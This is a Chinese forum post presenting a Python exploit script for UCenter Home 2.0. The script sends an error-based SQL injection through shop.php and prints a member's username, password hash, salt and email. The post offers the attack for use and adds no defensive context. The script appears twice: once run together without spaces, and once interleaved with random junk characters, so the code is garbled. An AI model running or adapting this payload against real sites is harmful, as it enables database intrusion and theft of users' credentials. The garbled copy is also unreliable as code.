找回密码
 立即注册
查看: 2700|回复: 0
打印 上一主题 下一主题

UCenter Home 2.0 EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:18:17 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl4 V5 p5 O' t8 S3 K: ~" S

: r4 N0 d$ W! X* |% K7 j2 C/ H4 K' Q9 [- v. r! Q5 Y; B
#!/usr/bin/env python  
8 a' `( X9 I1 j4 m7 O% O" ]; u # V; ~- V8 m( |, T* N9 `
import sys  - C, g$ @4 B4 O8 l
import urllib2  
$ z& [8 f( t2 y. d% pimport re  6 @8 E0 F# i8 l4 c% p, o

, b  l) k! a  |+ ]! [4 F) cdef info():  & [& d8 Z5 `7 w
    print 'From:http://www.exploit-db.com/exploits/14997/' 8 \# M* L+ z! `" d0 a
    print 'http://www.hake.cc/Web_loudong/' 4 N2 T! l5 g: [1 O5 ~% ?1 p
    print 'changed:qiaoy'  6 t$ {+ X' S6 N: L5 f
    print 'exp:'  * Z2 w+ [1 G, E( p! [
    print ' ./UCenter_Home_2.0.py site'  
* y' d- |& m; }/ R2 R) E! A" y5 w ) F) e7 G7 A+ a& y7 [4 n
def main():  
$ O! [! k3 R' c3 M% ?3 v0 ?. L3 f  O    if len(sys.argv) != 2:  : ]) }  v  g1 [: O/ g; `
        info()  3 _2 M' Y$ a- p8 W
    else:  $ q  s8 }" u( d0 ]( n' f( V7 K) \5 \
        site = sys.argv[1]  ) e3 Y/ H' T- N* |) n3 h! u
        if site[0:7] == 'http://':  * I3 X4 I1 m) d4 H& S( F6 g
            sitesite =site  
7 I1 P0 ]3 n9 U# U5 \/ ^        elif site[0:8] == 'https://':  
7 p" @7 |, F# Z+ v7 u! }, I            sitesite = site  
: M& `- N4 D5 e' R+ v+ G        else:  
! z; D* Y1 x. `6 W0 j2 F0 E0 a( J9 M            site = 'http://'+site  5 T( a  L3 h; P6 a3 `: p5 r, B
        try:  4 @% j7 R( Y0 n2 _1 D" _
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  ! Y6 K4 ]. h- }- W8 {" W6 `( V
            Value = urllib2.urlopen(url).read()  * ^4 G0 N4 S7 N3 E4 R' t
            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  " I' P. K1 h( s8 p# C2 X
            hacked = Msg.split(':')  % j) C1 c/ s8 D9 X' R% P1 d3 J, ]  M
            print 'Name:    '+hacked[1]  
# l5 y% G5 E: K: |0 z+ @            print 'Passwd:  '+hacked[2]  
3 s. _  j- j  y0 d! Z! Q1 ^3 R# }! z            print 'salt:    '+hacked[3]  
0 M& u; S& y. r6 q$ q# u            print 'email:   '+hacked[4]  6 s5 A2 t) T) i
        except:  4 ?& J% e) a% @. g
            print 'Sorry,I can\'t work............'  
) R6 N' K+ Y' y/ Q9 q6 w5 B! H0 H
9 P7 a4 S* ?+ w1 n  H, ~: {% l, Uif __name__ == '__main__':  
0 r7 H# o" C+ d& ^; t4 E% X    main()
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表